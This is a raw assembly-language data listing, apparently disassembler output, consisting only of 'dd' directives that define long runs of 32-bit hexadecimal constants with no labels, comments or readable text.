		dd 696D780h, 0DA0365Fh,	5CA4EE9h, 0B8295BA2h, 14611075h
		dd 34F6800Ch, 2802CD06h, 0EE305AF5h, 0F1336359h, 4A98FCE6h
		dd 0DBE9AA48h, 0D4BF2C70h, 0FD68E180h, 6C8C3A5Ch, 4E0500F1h
		dd 31E0D5Ah, 480720A4h,	0DF3AC125h, 0FD44C1CFh,	0AB2BB531h
		dd 5DB7F840h, 0E06CEF80h, 25B76F9h, 0CB28DEC3h,	6BF8EAE9h
		dd 5049AE99h, 5DB90136h, 0E0E90D52h, 0EDD552AFh, 76B536D2h
		dd 0EF55251Eh, 0B4F8A899h, 15DC2DDEh, 9F283270h, 0CF208E66h
		dd 0A8AC4ABDh, 12EF3D30h, 64B74D44h, 8E4A7B48h,	54294F32h
		dd 1DE93A30h, 16224370h, 0A88F5388h, 4DE9EC7Ah,	202DBA2Bh
		dd 126D530Eh, 0E8072F06h, 2C7C05Bh, 0FEA4F3C0h,	0C10ACECBh
		dd 0E9C4DD0Fh, 95D90CDh, 870D58C7h, 8D3F7DFh, 67E3BD01h
		dd 9577FE8h, 2DE95F5Bh,	5E5A91A2h, 7D3F7541h, 0E38FDD11h
		dd 5E46ABA8h, 6A560237h, 0E3755761h, 71D39A15h,	2FB26800h
		dd 8FE4AED6h, 7EBBA190h, 0E4794861h, 1FBC303h, 0C045B34h
		dd 99529C8Bh, 0F263B0FFh, 16CE3B59h, 0AF1FFEEBh, 0FEA75A6Eh
		dd 0E953D027h, 0A9B73578h, 21E2F7AAh, 558F8A0h,	0D4175153h
		dd 3B0C4036h, 134A9556h, 0AC1A841Dh, 57FE5A81h,	12F7EC58h
		dd 0B3BFD031h, 0BB40D276h, 43540DCBh, 1B73022Dh, 0EDE95DBDh
		dd 0B80B6950h, 55F41DC2h, 1057B804h, 0FA4918B9h, 4BA76820h
		dd 0EC823702h, 0FF9D5D7Bh, 0B3D0A12Ch, 2CFEE04Bh, 0BC0BB952h
		dd 831B2B38h, 0A85F1A0Ch, 6B64E906h, 215D273Eh,	4439CE0Dh
		dd 0DE8047Bh, 1232C7DDh, 0CE5F25F8h, 7FC1495Ah,	0AF965294h
		dd 96112881h, 41EF33Eh,	0C516108Dh, 0B1A53583h,	0CB613D62h
		dd 8032A61h, 0B0E7858h,	102613Ch, 75E97787h, 1538BA3Ah
		dd 1AC6A156h, 14F48205h, 6C9E0EF8h, 0EF3DA5EFh,	8DBA4BEBh
		dd 0F289DA7Ch, 8A83F62Bh, 9358E431h, 9BCD1C52h,	58FA58F0h
		dd 24F893A7h, 53FE98C2h, 2A59545Ch, 0EB04BD9Eh,	5EDE2796h
		dd 0C0EA6194h, 56F32949h, 6808BE52h, 0EB831723h, 9662609Ch
		dd 0C07E161Bh, 73850BCDh, 783E776h, 981E5358h, 2F36CCBAh
		dd 4178166Ah, 0BD73E6Bh, 0DC9E5531h, 7ACA5E97h,	0C59F0275h
		dd 0A2E90128h, 0F4F7A47h, 53B2040Bh, 5EB090D8h,	0FE22EBADh
		dd 46C3A3EBh, 0EEC1894Eh, 412E23Eh, 0FC1D5B93h,	8259ACAEh
		dd 0F99CD1E9h, 5A38B5Ch, 48AA8DC8h, 300C4426h, 312ED02h
		dd 0B7484059h, 2AFC167Bh, 0EAA7C201h, 68F9E877h, 78274929h
		dd 61C2888Bh, 0F95900FFh, 0C1755259h, 2B21DB0Ch, 0C8E9F027h
		dd 0E04F0C1Ah, 2EEA774Ch, 410C9F9Ch, 3402930Ah,	0B10101FAh
		dd 8BCA29CDh, 7CAA3B0Ch, 554F79F2h, 5B7871E2h, 0BE90C41Fh
		dd 0FA57E598h, 954D70BAh, 55C48C5Ch, 77A0C0AEh,	0E9277305h
		dd 96CEFCEEh, 145E649h,	0E9540E8h, 0BC2AEB29h, 30A5B798h
		dd 594AEC2h, 14BDF05Dh,	82ECF65Fh, 0A0E4E5E7h, 2626B0EDh
		dd 8C4FB220h, 0B52D45F3h, 845849ADh, 52DE8949h,	0A4EFD081h
		dd 0A416E82Eh, 0A227FCEAh, 0BDF1502Ch, 0DCD3BE5Eh, 7BDF5709h
		dd 0F09F0BDEh, 73910B7Eh, 93CE257Bh, 4109C646h,	7D0B544Fh
		dd 0C20CB7Bh, 3AF9AE81h, 5D8BA5ADh, 2E0552A0h, 0B698E4D3h
		dd 0DD58D22h, 0C23D71C1h, 0EAC7DB56h, 3E682408h, 0FE441605h
		dd 34B5147Fh, 0B7590840h, 0D5A7DEE5h, 0A86F5F91h, 0F398B1BFh
		dd 648B809Ch, 93A8D17Fh, 0A6CF535Fh, 0EBA5173Dh, 0FE91D1BFh
		dd 0C17C682Fh, 5BF5631Ah, 4562B16Eh, 5713EFE1h,	80C8DFFh
		dd 26604BAFh, 5528BD3Eh, 2C744C83h, 0AF683A03h,	10B50163h
		dd 0E90908D2h, 9BD2478Ch, 97891C44h, 6140ECE8h,	322D222Eh
		dd 55A5A62Eh, 66327E8h,	50E1B097h, 3F0300B8h, 0D402DAAh
		dd 0D02C2FD7h, 2E0BD353h, 1B9322D2h, 65E6F43Bh,	0C568FCB4h
		dd 0A5BDAAE9h, 0AF4B2158h, 5C7F1D32h, 14C78118h, 2F08CBFFh
		dd 3FB4E207h, 9EE5FD0Bh, 31EA98B0h, 0C34867DCh,	860E1D2Dh
		dd 57E9C766h, 23B90475h, 0AF0C7E1Fh, 0A84EDAE6h, 50E4C16h
		dd 3AD27880h, 18A506ABh, 883BD8AAh, 904A5E3h, 2E0455CFh
		dd 0FAFEA0C1h, 617DEAAAh, 2F2C1BB2h, 0A985813Fh, 0F36D7716h
		dd 491058F4h, 0D15D2D92h, 7CC56935h, 6501B22Fh,	6E70ADC0h
		dd 0DD7F6108h, 0E9DB3006h, 0EF9BAA19h, 18C6920Bh, 0C95A54CDh
		dd 2A201D24h, 74977F8Ch, 0F5D8E09Fh, 340D1DEEh,	0C5E58148h
		dd 0F0333908h, 0D5197DEDh, 2B3CB624h, 58818F6Ah, 6EDA41ADh
		dd 6E5910F3h, 767D4F07h, 0EFC3945Ch, 0D816BCC2h, 8EBB0563h
		dd 3435264h, 8672B5C5h,	10E68001h, 46635144h, 81F51E7Eh
		dd 0B59D96EEh, 3FF12ABCh, 0FC99C52Fh, 0CB90E4CCh, 1994896h
		dd 0E5D14D45h, 882D7C68h, 120E90ABh, 0CF44FEACh, 0B8001113h
		dd 4A5835B6h, 48D8F701h, 3795A405h, 90C609C8h, 39E15C09h
		dd 2B1F381h, 0CEE12FF8h, 3B4CB26Eh, 1B211058h, 86F8B26h
		dd 0C020C364h, 0D935D32Fh, 53C9CFCBh, 72FBE2C2h, 0DF912689h
		dd 2EBF6665h, 8ADB20Dh,	4B02A494h, 0FD0F063Bh, 0C5076BF9h
		dd 0AF988ED2h, 294ACEC6h, 5ACC8BFAh, 8B5F79EDh,	0C9597F8Bh
		dd 0C7800F4Fh, 18BD05D8h, 81011AF9h, 8F6614CBh,	0FA267072h
		dd 3A4B5C14h, 83E73D9Ah, 0A4E947A8h, 0D04F0D2Ah, 7F85B704h
		dd 642EB3Ah, 33C7E908h,	7F13D22Fh, 321F701h, 0F7EE8E05h
		dd 63A25FECh, 0A7BD5500h, 0E94B9235h, 0C6FE0727h, 0A84F20C7h
		dd 0B10B3A90h, 402E57Fh, 85FB5838h, 0D03EE644h,	904910DDh
		dd 0C9DA091Dh, 467FA646h, 0DFD55449h, 8EE14C89h, 0DE431604h
		dd 0B693823Dh, 87B5EFE8h, 75CD801Eh, 0F14DFB92h, 0EE5CB5Ah
		dd 0F5BBB381h, 21124858h, 69E67F8Dh, 85B0E912h,	8CDFFE32h
		dd 3755E90Eh, 0FEA3BE12h, 357F0B92h, 0EC3256ECh, 755282B3h
		dd 9FD49FE1h, 944C5F0Eh, 4EF70CDDh, 6EB1F5D6h, 0DDD5C3C2h
		dd 0C5B0D1E3h, 0AC1E2F1Ch, 3866013Eh, 5E570820h, 0CCFB4A51h
		dd 397054CCh, 0FC925F86h, 6FE94BB0h, 1046B6D6h,	7C4C4A46h
		dd 59259446h, 8BFAE7F5h, 7FF63F1Dh, 0C1CAC17Ah,	68555800h
		dd 197EB731h, 0EF04C2BAh
		dd 73E2F7FCh, 0DD253B54h, 0EDFB7BECh, 4B1526E6h, 0DB23BC1h
		dd 594F8616h, 197413F9h, 0AAC7E884h, 0C0FD74D9h, 6619E078h
		dd 0D836B353h, 44787CDAh, 904BE02h, 0F2BEC38Fh,	2B681372h
		dd 558D32EFh, 0A91A6D75h, 0A28EE321h, 5268551Ch, 9F8948FAh
		dd 6CE7A08Ah, 5CF26841h, 7CD1DFC2h, 9650826Bh, 0A2A50ED2h
		dd 9E3BD18Eh, 50313E17h, 0CC7A10D1h, 2A167D21h,	26016582h
		dd 2D9A763Dh, 6D0FC02Fh, 0E917660Ch, 0EEE41CCFh, 0EC7A1217h
		dd 811C0129h, 6A26E837h, 42D98F0h, 6AA67B5h, 0C9C2EA31h
		dd 2F58566Dh, 0F5697FDBh, 2E4AC051h, 40FBD0A5h,	3D0F681Ah
		dd 4A60924Dh, 7FA5DBCDh, 0ADA07E67h, 3B855451h,	565D32EEh
		dd 0BA13918Eh, 62B8EA38h, 62E91D30h, 82FEF17Fh,	59E84874h
		dd 73A2297Dh, 0F2FA6BEFh, 20965258h, 2465953Ah,	9BFA6ECh
		dd 49CB074Ch, 1A0B5E56h, 243C8F0h, 0A604EC68h, 41B206E8h
		dd 65FEA80h, 3C620148h,	0E9EB9F7Ch, 0BC80F316h,	65DA2086h
		dd 0F95C245Bh, 0F351852Ah, 5D4C28F3h, 0E10EFC4h, 0B12AC451h
		dd 43BDF7CDh, 8EA47FADh, 0B95A82E5h, 0D72D8964h, 78FED65Ah
		dd 50B486E9h, 9580E7A8h, 0F6824E06h, 64D5A582h,	9AE6FE46h
		dd 0B870B58Fh, 5A50D1B5h, 4C17F3F9h, 55CBC291h,	0EC13C8F8h
		dd 57F40BF3h, 0B600414Eh, 4F7B4DBFh, 0DED3F72Eh, 8B122E10h
		dd 3CB3BA01h, 6474EC9Ah, 0E7B15100h, 0A10CF180h, 0BD681794h
		dd 0C6DF9092h, 2D508443h, 7612DE08h, 99FA0551h,	100C06BAh
		dd 3BB11C84h, 824D426Bh, 0B26AB92h, 0B3F447Fh, 1ADC469Dh
		dd 78062A80h, 0DAB04FFFh, 13D34127h, 0A316C176h, 0CB2FB339h
		dd 9A97F314h, 2AE47D79h, 0D58C7425h, 6502B2E5h,	0FF54F873h
		dd 13D29D1h, 0C151B627h, 8F3006E5h, 4552047Ch, 0A017E961h
		dd 70ED2911h, 0E383F828h, 0AC615F44h, 0F28E0737h, 0F71731F1h
		dd 0FC125DE2h, 0DE6841E7h, 1327A26h, 0D2ADC067h, 0BED98A9Bh
		dd 8B5D0349h, 55BF053h,	92300275h, 0E2E1E94Ch, 83D75C57h
		dd 73FD2FB2h, 23AF0C04h, 55002DBAh, 0E915268Ch,	19835E52h
		dd 60585CC7h, 953BB33Bh, 0E03C2DB4h, 0EED1B346h, 8C354EE8h
		dd 0B3D0AB03h, 32007DFh, 5FB4160Bh, 90C2A1D4h, 9658598Bh
		dd 2F86F1D7h, 26683B38h, 69F31158h, 0B0A96457h,	2E44968Dh
		dd 0EFE40278h, 0C64A6C6Fh, 80E80DC1h, 276DF1D9h, 50292341h
		dd 44E03DCAh, 0EACBC6FAh, 410B6AC3h, 0BB04F5CEh, 5FA6BAC2h
		dd 0E469C38Eh, 801EC67Eh, 0C3C2131Ch, 63E32823h, 4B54AE4Eh
		dd 7C49F420h, 29404241h, 251648C2h, 21DE092Dh, 204B6482h
		dd 56AF476h, 0AE94787Ah, 0D216A509h, 93EABF77h,	0F6A75C41h
		dd 0FC58160Bh, 106B49Ah, 9C46C02Dh, 7C40D436h, 52472818h
		dd 829DC53Eh, 8759A1F6h, 8AEDE900h, 0BE96ABCh, 60B84ADBh
		dd 14021EA0h, 0F0F10119h, 226C3C06h, 93098E30h,	0D6E8DFB2h
		dd 0E9E99349h, 99A64AE3h, 17379B10h, 79FB5453h,	5916A8Ch
		dd 0A04380Fh, 83BFA3BAh, 0CCFE27F4h, 0C43E047Ch, 79DC3E68h
		dd 0B6529D13h, 0F30BCEECh, 8AF08BE9h, 1FE95C5Bh, 5BF175CCh
		dd 0FEDD860Fh, 471146CBh, 1F6660F9h, 94F98F05h,	0BDB1B54Ah
		dd 25FEE67Fh, 33C6E011h, 1457973Ch, 0AA43527Bh,	4FD7CF02h
		dd 0B4403296h, 8630133Ch, 20830C09h, 29472CD2h,	10E91E0Ah
		dd 4F4482Ah, 31B04833h,	29970780h, 850A4038h, 77FFB227h
		dd 0C4BFB8EEh, 65C0BFBBh, 0D000F740h, 9F803A2Dh, 0B8C3294Ch
		dd 33B12669h, 9557693Fh, 38592433h, 0AD63B0AEh,	6FE512E2h
		dd 3B8DF88h, 57C8BE0Fh,	6F24F6C9h, 0A53BF321h, 4330FF26h
		dd 0EDC15F1Fh, 0EB240679h, 5C50023Bh, 90D05D21h, 0A308A496h
		dd 1B5FC9Ah, 31AE6808h,	6C4D868h, 5748001Fh, 1464CABFh
		dd 8E312E75h, 0BB2D077Ah, 91F407F5h, 2EC2E9C7h,	1C69444h
		dd 710AB6C1h, 983119D4h, 5153302Ah, 0F67C4D48h,	23DF5C50h
		dd 2246FF09h, 6F89D989h, 0C960AE77h, 12032F05h,	0FF2D6A62h
		dd 35A8C957h, 20B32B13h, 244889Ch, 574D7D7Bh, 0B9012828h
		dd 0EA430097h, 256041CBh, 9E7D5E28h, 8C0F5585h,	5A4E5EA7h
		dd 3F4C4E71h, 23C6079Ah, 0CE600D6Ch, 4C8B6F3Bh,	31005862h
		dd 5104A966h, 10620B9h,	0CD0969B5h, 28E93ACDh, 81DE34DBh
		dd 284EB0CCh, 6054C9E2h, 12BF35BAh, 5F23A662h, 0E31357A1h
		dd 3BBA0380h, 0E915DA4Dh, 4C230510h, 0AAFC13Ch,	3B0B1971h
		dd 0BD8B7BCFh, 909A6293h, 6C18AA01h, 83903C4Fh,	425D6CDh
		dd 0FFE94544h, 5EE0B940h, 0CEE921FFh, 19267694h, 0EA67B705h
		dd 0FFB0E2FEh, 0E4CFABD9h, 0A6EA88DDh, 42AA4F10h, 0ED52E90Ch
		dd 0C0CA1F92h, 0EAC071FCh, 160D5B88h, 10FA0117h, 0CE5E080Eh
		dd 18CD10BCh, 211F07D3h, 520EB016h, 0E913E1BAh,	13FFF132h
		dd 58FE860Fh, 7AA35F4Bh, 95CCE9C5h, 0E585BBE2h,	7EDFB2AEh
		dd 41B9A52Eh, 137D6A5h,	0AF45FBEFh, 0EBAC3F1Fh,	25CB552Ah
		dd 0C1E3A32Ch, 0F09C13A5h, 0D31D0DE8h, 2DDC5348h, 922202C7h
		dd 0FDF7C7F2h, 0F69CCCA2h, 0A96C62F7h, 77078981h, 0C5DC746Ah
		dd 0F2DF15h, 0E64C9BBAh, 6814A67h, 0C46F31E2h, 0F23F0E16h
		dd 2F1B166Bh, 6E19AFE0h, 0E36E34D1h, 0AFBD0CE5h, 6BFE7A27h
		dd 49B7AC3h, 0E13924F7h, 826CFC60h, 5D9D93E9h, 8608B771h
		dd 0BB5212DFh, 22FCCE0h, 68069523h, 4E714D65h, 3111DF88h
		dd 288C36Ah, 36DE7558h,	0D0B0DD6Bh, 0ACBACBE9h,	0B078807Dh
		dd 0B28A4424h, 0F65456C2h, 88202F44h, 1E1B29F3h, 25CB355Ch
		dd 0F0AB64C4h, 4F28632Dh, 0F9B352EFh, 3FED64D1h, 5F792FA3h
		dd 687C04B6h, 99D2BA34h, 846EF70Ch, 1C1E3134h, 0EBEAA0BAh
		dd 5168660Bh, 0B2AA1075h, 0D72825C9h, 6416E7D1h, 0AB4F30FCh
		dd 22D4D8Fh, 4959B744h,	9E4D387Ah, 0EC57D5F7h, 0B963C54h
		dd 0FAE4492h, 4E5DC197h, 4EBC4754h, 0B033AA50h,	7E9802AFh
		dd 0E3E96508h, 681B6778h, 0D2542B15h, 9D99D09Dh, 57AFA655h
		dd 4A4CFA94h, 6265FECCh, 0F27CE783h, 3F9A57CDh,	0AF16735Dh
		dd 44694851h, 2CF755F5h, 0B7D833E0h, 27025D24h,	0E284A9CFh
		dd 497E5F90h, 206961D0h, 0EE092508h, 800FEC3Dh,	0A837621Dh
		dd 82017C2Ah, 1AA7080Ah, 788B6519h, 0C4FC5A46h,	800135B4h
		dd 0C2FEC9EAh, 0C146F2D4h, 9EE93906h, 65ED7FA4h, 68E389C0h
		dd 0BB9E38B2h, 464CC660h, 6927B071h, 9770DC2h, 2A96F54Bh
		dd 4D216810h, 0ABA7E909h, 0D9BDBF6Eh, 3D57242h,	2225B41h
		dd 853F723h, 756A662Fh,	0FDA773E5h, 8579ACA2h, 75AC2500h
		dd 99298DAh, 3DA468D8h,	0A2612476h, 1FE0205h, 4CFCE1E9h
		dd 0C4985A8Ah, 67CB1462h, 42F9562Ch, 377A3ADAh,	0EF07125Eh
		dd 0B9D4525Bh, 73E171C8h, 41176268h, 0F4091AA6h, 618500C5h
		dd 830D64B0h, 586A4E0Eh, 0E871C005h, 4AE0C101h,	8513AC04h
		dd 0F2FF1C29h, 1CBC005h, 0BE22C555h, 0AD7B005Ch, 0F7D3873Bh
		dd 8008D26Fh, 7F1344E3h, 0FDB3A129h, 2FEB43DCh,	72CCDA21h
		dd 37886812h, 0BC17935h, 522FE948h, 0F7C7BA06h,	21E2C735h
		dd 0AF20139Eh, 8528231Dh, 8998B227h, 2C2409F3h,	6F383453h
		dd 2CCC6028h, 0F9B98A0Eh, 0E285021Eh, 0B708504Ch, 0F32C0E16h
		dd 8A93D8E4h, 17EE5223h, 8FAC20C2h, 12369C4h, 35096859h
		dd 88BA6950h, 6A52244Eh, 0B17C02A3h, 98FD95ADh,	95942D46h
		dd 0B0D69757h, 0A270FD55h, 71BA1C4Bh, 0EDEAD160h, 394CFA85h
		dd 5625DA13h, 99EB7400h
		dd 0C097A75Eh, 3014DD90h, 0DA582973h, 1FBC3F22h, 0EE827422h
		dd 41F249DFh, 37F8A23h,	0BC2CAC3Dh, 9046790h, 0A53FE39Dh
		dd 11F4B507h, 51B36F4Ch, 7A529F67h, 0EED9C3C3h,	77DCFA40h
		dd 64C6480h, 8287C169h,	6D0D3E28h, 0C348B59Ch, 0BFE65C1Ah
		dd 0E4112081h, 151C435h, 607EB725h, 0BD87EACEh,	45F7EDABh
		dd 83AF8730h, 2D6F1BFFh, 85B5E905h, 5E6E0B89h, 0C18FC920h
		dd 2DD465D7h, 96828379h, 4037AE3Dh, 2742A175h, 0CAC02214h
		dd 0A79083F3h, 92E90AC2h, 2B1255AEh, 3F23E9A2h,	8980550Bh
		dd 41B76B17h, 0F7AABB04h, 0B9BECFB8h, 40CA0F68h, 4BC9EFh
		dd 0C5A46AFh, 912C950Fh, 6767FAAEh, 0DE0C4484h,	0B7DF4989h
		dd 8A6212D2h, 0B4E90B25h, 6567DEAAh, 0E718C8C1h, 3DCCDE58h
		dd 0A44AFE33h, 274357D0h, 89311339h, 0C51238DDh, 0D42F0150h
		dd 0B4148444h, 74EF00BEh, 0C5BA3CB1h, 0B787E504h, 0F0B0E4E9h
		dd 58E20230h, 5A66D328h, 943B51D7h, 0FF19CAB2h,	29C751CEh
		dd 0C5109F9Ah, 80D0B501h, 0E7FEDAEDh, 0E5C0040Eh, 9ECDEF04h
		dd 0EB085540h, 0F1E3D059h, 0F0C0D770h, 0E0EEFD06h, 5FE9DDAAh
		dd 9FC2A81Eh, 954A0B83h, 4CAE196h, 0FE5B757Bh, 4BD506B0h
		dd 1737BC5Ah, 8837F02Dh, 52A28082h, 30C2040Ah, 0AA3F4456h
		dd 0B082050h, 7215BCE9h, 8E7F1FFDh, 0CB018848h,	98AB8D08h
		dd 0DF94EEEAh, 0CA60AC81h, 0C145BF3Eh, 1283C08h, 0F7177B68h
		dd 0C816E86Bh, 4F40F09Ah, 0BC7F9D0Ch, 1CE927CDh, 0F75CF460h
		dd 6DBBF95Eh, 0F6A23A84h, 42E1BF00h, 0E0B97CCEh, 0F9310BC0h
		dd 9D4F095Fh, 0E7200744h, 685E1212h, 97B3EEE3h,	7185BF01h
		dd 204F0D3Ah, 0A3ABFA97h, 90F0E0B2h, 3CF2315Bh,	0CE3CD914h
		dd 9FF9BA80h, 0DC0305CAh, 0E9686132h, 7B1AEC3h,	0C01E7BE3h
		dd 0DE616F4Ah, 82540C0Fh, 8F4C1A0Ch, 0F7005515h, 7054835h
		dd 0FC4C3E75h, 0E9470D3Ah, 0F3B4949h, 0A60531F9h, 42D41A6Dh
		dd 3EDA0808h, 0BB52E855h, 0A737D56h, 0FEEAC62h,	75FB837Dh
		dd 0C1B05C78h, 0D13D6745h, 29CD9337h, 72A431EAh, 0EF2A34B5h
		dd 0E4C8FDE4h, 42F8273Ah, 9F813020h, 72A7A58h, 0E64AAF1Dh
		dd 0F8F728EBh, 84257D28h, 820CC704h, 0E1FDABDAh, 0B30E421Ah
		dd 0AE189460h, 0DE0C4160h, 0F6ED6846h, 345FDF02h, 0B8CC9316h
		dd 1F3D61D8h, 7FD0F725h, 6ED57060h, 70B7B1B8h, 4681304h
		dd 38D5E346h, 54FE121Eh, 0BA3744EAh, 2C011296h,	0C9852265h
		dd 3F46B17Fh, 0BDD813E5h, 5CB73440h, 0F218FA12h, 6252BF16h
		dd 1C776A94h, 80A71C40h, 132022BDh, 0C780092Fh,	57E06855h
		dd 4515B225h, 5CF58060h, 0E9202119h, 2A170A4Bh,	82ED8AFEh
		dd 0A28F25E9h, 0F505D8C2h, 7A25EFC4h, 83443824h, 0D1024FEBh
		dd 6E94FDD1h, 64980D8Ah, 2BC0D190h, 482B36F7h, 81FABF0Ch
		dd 1CC1A9FEh, 0A3685756h, 0C53F51F0h, 0FEAF721Ah, 0F05E1AF6h
		dd 244F0965h, 8405EE9h,	0DC73955Ah, 4A20D7A5h, 2B645068h
		dd 0E9A9745Ah, 0EC2D4080h, 1F5E262Fh, 93EE8747h, 8580A294h
		dd 78533BF6h, 0E951091Ch, 8CC4DF2Eh, 7D27C9B0h,	8199C8C2h
		dd 4A4CBF43h, 0D014CA2Fh, 50B80146h, 21E95657h,	0F6AB3CC6h
		dd 0B748B03Bh, 6CBFAFDAh, 0FB5A4BA6h, 0C5110175h, 835724C3h
		dd 0F49D9922h, 4601E4E5h, 7EBA5E58h, 0F04382F9h, 7E9803A6h
		dd 0F306CE0Bh, 0E9DD9802h, 0B56C9A46h, 423117F1h, 0B805B29Ch
		dd 3FBE841Dh, 128ACFEFh, 89FA881Eh, 3082E4E9h, 0E5D89BCBh
		dd 0FE7B8DB7h, 74F6D997h, 0B0F357Fh, 451BBAE6h,	0BE43F5EFh
		dd 2F03E7C1h, 63500506h, 0AB4FC7E2h, 5D007916h,	4BB2022Ch
		dd 57C961E9h, 20C0DEF6h, 0A7EC8088h, 5A70F4E0h,	1258E630h
		dd 7FB1510Ch, 28E1070Ah, 0C102B450h, 6F52B6C4h,	5AD48480h
		dd 3081FF20h, 0B7535CE9h, 3B70D52Ch, 8BFA871Dh,	0D6C6B551h
		dd 1C542C9Fh, 5BF800BDh, 348F6866h, 0B7834A94h,	937A04AFh
		dd 84ABA2C0h, 9FE9A9A6h, 5B10E84h, 1B45B54h, 2DFB4073h
		dd 8E233304h, 638829C2h, 39590FB5h, 0D834014Dh,	0E39BAE16h
		dd 0B0C99FDDh, 0BD855D30h, 5D911DFEh, 0A8F4DB80h, 917D61DAh
		dd 407FF625h, 5AADED94h, 7BBE0718h, 936F7E2Dh, 68EE8701h
		dd 0A02B7825h, 808FAB4Eh, 0AEA15B5Ah, 64A5E9F2h, 5B962889h
		dd 0B28BFE26h, 732385DCh, 7FBAF6C3h, 34780971h,	39F1328Eh
		dd 100B9324h, 773A1A35h, 0FCFD8690h, 3772F958h,	0E2EE79C1h
		dd 0D641495Dh, 185B02D9h, 60DD5E3Bh, 8122AA1Fh,	0D3852A5Dh
		dd 5A7192BAh, 0F51EC257h, 0F5276E4Ch, 28762F27h, 91301209h
		dd 47DC4EBh, 8C2743F8h,	0DF218982h, 4FC3995Fh, 0E990317Ah
		dd 5E9A3828h, 17D75FBAh, 7140EFF9h, 0EB686AF1h,	8AF09D3Bh
		dd 269A5892h, 0E44BBD98h, 681CC1E2h, 8CA5AF1Bh,	54CCBFE7h
		dd 0A1A6924Ch, 726C64C2h, 92F5B74Ah, 0EC3EC8FBh, 0C4E2364Eh
		dd 0D698805Ch, 0F60569B3h, 7EBC0DBh, 2A2F209h, 230312Eh
		dd 42DDCB20h, 0B8457FC9h, 0A78B912Ch, 1A457D8Ah, 7B0CBE09h
		dd 526027CEh, 30586B1Dh, 6DED41DEh, 93E03B92h, 46243393h
		dd 0C63C7B9h, 16CA55FFh, 36A80B60h, 55371025h, 5DCCA520h
		dd 9A9038DBh, 8BD552Ah,	80D15ABDh, 97D6E91Ah, 0E30E6CDAh
		dd 53173A48h, 35AE41FEh, 6AB3976Ah, 4A4E40C2h, 82545D86h
		dd 0D15D607Ah, 262A2E46h, 18B4036Fh, 0C3B4FB1h,	4C0E1629h
		dd 0CF24F4BCh, 4AB901E9h, 17C8A1E9h, 0BC2926Bh,	29CE10DDh
		dd 0F1F0B0D9h, 53F8C49h, 0BFB8D549h, 8DDFD8A2h,	6A1C7EE2h
		dd 68C252BDh, 81D16105h, 57B3A481h, 0C97A2D2Eh,	7FBAC5B6h
		dd 2D58CF88h, 0A9FFE0D1h, 6F21F120h, 1E7C2DE6h,	0DCFD6EF5h
		dd 97601387h, 0E77ED933h, 95EA962Ah, 6898FAA3h,	0D9138ADh
		dd 5D5B5583h, 6B39E143h, 77C44C78h, 12B80021h, 73503352h
		dd 822A0035h, 781D2D29h, 0F0B579B1h, 0A6483537h, 1952AA90h
		dd 0D484A1A2h, 2449127Bh, 6D2A8426h, 10993FCh, 0CCF78BDDh
		dd 0E9F98012h, 52C6A967h, 0C3016A76h, 4CD8119Ah, 0E8E17F01h
		dd 855A0802h, 905DC2D8h, 0B86614E7h, 5E8265Ch, 0A5B608F2h
		dd 0D9215C09h, 0F27F6974h, 5DED2C43h, 0A046C4B7h, 0A690318Fh
		dd 5AA1524Ah, 15A1BA29h, 333107BEh, 85406870h, 258FDAC6h
		dd 0E75E22BDh, 3F89DF49h, 0BF2D787Dh, 742D437Eh, 44265BAFh
		dd 0BF8D5A71h, 0B1ECF3EBh, 0BC51914Ah, 27516118h, 0BB819C4Bh
		dd 0AD50E739h, 0B010E4DAh, 80639D33h, 0D10FA84h, 70FA5A45h
		dd 922AE9F5h, 7D4B8294h, 0FCA1692Dh, 7494EF23h,	127E7752h
		dd 975FFAD0h, 0DE4AE1EEh, 922FD0E1h, 3BD0B9E1h,	0BFE8DA9Ch
		dd 5E1DD510h, 0B018BC59h, 38F58186h, 6A363AF6h,	9F349431h
		dd 0E9864267h, 239F402h, 0DFBBD5F7h, 0D2FF3195h, 0E485268Dh
		dd 0B97C84Ch, 914CDD1h,	872FF69Fh, 8202E6C1h, 2165D17Ah
		dd 41FEC3B2h, 52F2345h,	0C3C2803Fh, 44ED2B7h, 101738E8h
		dd 99C1AA30h, 4F6F1205h, 416C130h, 0FBEE5B66h, 8FCF83B2h
		dd 37B3AE13h, 0BBF04F84h, 4B604CD8h, 16BAF353h,	0B5B20FD6h
		dd 0FCEBE985h, 7D582593h, 986FAA8h, 44F7BD12h, 0C22E2072h
		dd 0E8A1F19Fh, 0B1FE45F5h, 68F511BFh, 78EC7ED9h, 2F4B5EC1h
		dd 49F96B59h, 7668F440h, 48E6974Ah, 49D03655h, 34BD01F2h
		dd 0C3DC6B2Ch, 0FDBBF8FDh, 40F0FA04h, 958C9A2Bh, 53F15EF6h
		dd 80D0CD70h, 1A2798BEh, 24156DFh, 6A2F78D1h, 18273B40h
		dd 0E9184FF0h, 0C75914DCh
		dd 2C230BBFh, 0B2F80105h, 0A5D40882h, 172C9359h, 0E89CBF4Bh
		dd 17799CB8h, 623DEA57h, 0C1B10A68h, 0B08F3F3Ah, 0EE575E12h
		dd 3168E67Ch, 164D7CBAh, 97F36BE3h, 0C5CE4B79h,	0A85217A7h
		dd 25B6B1AAh, 6250E179h, 0A53DB6AEh, 259A36FAh,	0EEDABD20h
		dd 0A5055BF0h, 3C083C8Ah, 0D36F2D68h, 597D498Dh, 820AE275h
		dd 0DDD34C49h, 0F594FA20h, 70B4B98h, 811C475Ch,	61EC6C09h
		dd 83DC57EEh, 8C98D7A5h, 384A5A68h, 1B3E0FCh, 0DB053229h
		dd 0DC298C42h, 0B68618Dh, 40674D39h, 16447523h,	2DD2E40h
		dd 4512B708h, 0A1C984E9h, 0E8A7205Ah, 99F5D49h,	0DD997085h
		dd 0E924C41Ch, 9A5890Bh, 0D5DF09A3h, 45E42EFBh,	290B49B8h
		dd 0B37159CDh, 1351B7ECh, 0EC010A68h, 426D2F84h, 32F85572h
		dd 0FB1CFB25h, 98A7BDC8h, 0E5FDC009h, 8095AC8Fh, 75253E7Bh
		dd 0B64D94E9h, 7E5F2D53h, 1E689378h, 10E77697h,	0BF6C6F3Fh
		dd 0B0F5C58h, 8CE969D9h, 0BF3AEAh, 1EBC1630h, 0E781EFD1h
		dd 6014791Ch, 0EB0B5AA6h, 0C9985606h, 0ADB8B2C1h, 429FD677h
		dd 6B182174h, 604E8177h, 690936E4h, 58099E11h, 0B4EB0668h
		dd 9020B237h, 0F4722F0Bh, 0F563802Eh, 9E3D6360h, 9CE96124h
		dd 0F3AC2FA4h, 125EA393h, 1C07D85h, 0B5104F68h,	13DFD398h
		dd 39178A48h, 0F61409EDh, 39E60036h, 985FB86Ch,	1280E776h
		dd 47583CDEh, 250EFC1h,	6B1386BDh, 1FFE7F1Ah, 0F0785698h
